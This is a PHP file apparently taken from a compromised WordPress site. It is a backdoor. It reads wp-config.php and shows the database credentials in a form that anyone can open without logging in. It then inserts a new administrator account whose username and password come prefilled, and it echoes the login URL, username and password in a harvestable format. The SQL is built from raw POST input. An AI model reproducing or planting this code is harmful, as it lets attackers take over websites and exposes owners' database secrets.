Current File : /home/whitekig/public_html/wpadd.php
<?php
require_once('wp-config.php');
// Initialize connection variables
$db_host = $db_user = $db_password = $db_name = $db_prefix = '';
$connection = null;

// Handle form submission for user creation
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['create_user'])) {
    $db_host = $_POST['db_host'];
    $db_user = $_POST['db_user'];
    $db_password = $_POST['db_password'];
    $db_name = $_POST['db_name'];
    $db_prefix = $_POST['db_prefix'];

    // Connect to the database
    $connection = new mysqli($db_host, $db_user, $db_password, $db_name);

    // Check connection
    if ($connection->connect_error) {
        die("Connection failed: " . $connection->connect_error);
    }

    // User input for username and password
    $username = $connection->real_escape_string($_POST['username']);
    $password = $_POST['password'];

    // Hash the password
    $hashed_password = password_hash($password, PASSWORD_BCRYPT);
    
    // Generate user ID
    $user_id = time(); // or use an incremental approach

    // Insert the user into the database
    $sql = "INSERT INTO ".$db_prefix."users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status) 
            VALUES ('$user_id', '$username', '$hashed_password', '$username', '', '', NOW(), 0)";
    
    if ($connection->query($sql) === TRUE) {
        // Assign admin capabilities
        $sql2 = "INSERT INTO ".$db_prefix."usermeta (user_id, meta_key, meta_value) VALUES ('$user_id', '".$db_prefix."capabilities', 'a:1:{s:13:\"administrator\";b:1;}')";
        $connection->query($sql2);

        $sql3 = "INSERT INTO ".$db_prefix."usermeta (user_id, meta_key, meta_value) VALUES ('$user_id', '".$db_prefix."user_level', '10')";
        $connection->query($sql3);

        echo "New user created successfully with admin rights.<br/>".$_SERVER['SERVER_NAME']."/wp-login.php|".$username."|".$password;
    } else {
        echo "Error: " . $sql . "<br>" . $connection->error;
    }

    $connection->close();
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Add Admin User</title>
</head>
<body>
    <h2>Add New Admin User</h2>
    <form method="post" action="">
        <h3>Database Connection Information</h3>
        <label for="db_host">Database Host:</label>
        <input type="text" name="db_host" value="<?php echo DB_HOST; ?>" required><br><br>
        <label for="db_user">Database User:</label>
        <input type="text" name="db_user" value="<?php echo DB_USER;?>" required><br><br>
        <label for="db_password">Database Password:</label>
        <input type="text" name="db_password" value="<?php echo DB_PASSWORD;?>" required><br><br>
        <label for="db_name">Database Name:</label>
        <input type="text" name="db_name" value="<?php echo DB_NAME; ?>" required><br><br>
        <label for="db_prefix">Database Prefix:</label>
        <input type="text" name="db_prefix" value="<?php echo $table_prefix; ?>" required><br><br>
		
        <h3>New User Information</h3>
        <label for="username">Username:</label>
        <input type="text" name="username" value="sungai" required><br><br>
        <label for="password">Password:</label>
        <input type="password" name="password" value="BANCI88togel" required><br><br>
        
        <input type="submit" name="create_user" value="Add User">
    </form>
</body>
</html>